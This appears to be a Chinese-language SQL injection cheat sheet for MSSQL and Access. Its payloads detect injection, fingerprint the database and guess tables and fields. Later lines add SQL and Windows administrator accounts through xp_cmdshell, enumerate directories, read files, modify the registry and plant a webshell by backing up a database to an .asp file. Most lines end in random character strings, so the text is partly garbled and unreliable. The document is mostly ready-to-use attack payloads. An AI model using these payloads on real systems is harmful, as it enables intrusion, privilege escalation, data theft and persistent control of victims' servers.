1.判断是否有注入;and 1=1 ;and 1=2 5:6]ZFW
2.初步判断是否是mssql ;and user>0 Vt;!FZ
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3.注入参数是字符'and [查询条件] and ''=' 7$/%c{o
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' *5Aq\g,n
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5.判断数据库系统 4Px
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;and (select count(*) from sysobjects)>0 mssql +~] :oj
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;and (select count(*) from msysobjects)>0 access jn/
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 M>kk"tyM
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 /:o (Ghc?
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 vi-mn)L6#
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9.(1)猜字段的ascii值(access) =3=
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(2)猜字段的ascii值(mssql) yccF#zU
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10.测试权限结构(mssql) 8/16<yZ
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 1;$8=j2
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- F')fi0=
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- oPVyLD
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- \'AS@L"Wj^
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ,*}5xpX
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;and 1=(select IS_MEMBER('db_owner'));-- @Y8/#6KE
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11.添加mssql和系统的帐户 \XI9 +::%
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;exec master.dbo.sp_addlogin username;-- w:~Y@b~D
;exec master.dbo.sp_password null,username,password;-- ,O[Maj/ch
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- rDvz2p"R
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;exec master.dbo.xp_cmdshell 'net user username password us,1:@a)a
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- HvSYE[Zt|
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- }[%d=NY
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12.(1)遍历目录 !R/-|Kjy
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;create table dirs(paths varchar(100), id int) $4j$c|S!
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;insert dirs exec master.dbo.xp_dirtree 'c:\' y_Tc$g~
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;and (select top 1 paths from dirs)>0 D#?jddr-
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) +#|):aF
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(2)遍历目录 !^/Mn
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (3;dtp>Xx
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 .}V&*-ep
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 hDf|9}/UQd
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 nHB=*Mj DV
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ~^GY(J'
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13.mssql中的存储过程 .PhH|jrCW^
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xp_regenumvalues 注册表根键, 子键 ^ld?v
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ^S'#)H-8C3
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xp_regread 根键,子键,键值名 W?B(Jsv
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 }uTe(Rf
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xp_regwrite 根键,子键, 值名, 值类型, 值 +C(v4@=nd
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 /W6r{Et
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xp_regdeletevalue 根键,子键,值名 3/w) mY-o
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 8?S)>-mwv
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8>}^W
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14.mssql的backup创建webshell mu(EmAoenQ
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create table cmd(str image); "F*'UfOwrZ
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insert into cmd(str) values (''); ~x>?1K
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15.mssql内置函数 .i7bI2^
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;and (select @@version)>0 获得Windows的版本号 !lf:x
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa |Ki\Q3O1
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;and (select user_name())>0 爆当前系统的连接用户 }wJDHgt]-p
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;and (select db_name())>0 得到当前连接的数据库 8qEK6-
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16.简洁的webshell NY5?T0/[
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create table cmd(str image); 6[h3pb/m
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insert into cmd(str) values (''); T4\F=iw4
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backup database model to disk='g:\wwwtest\l.asp';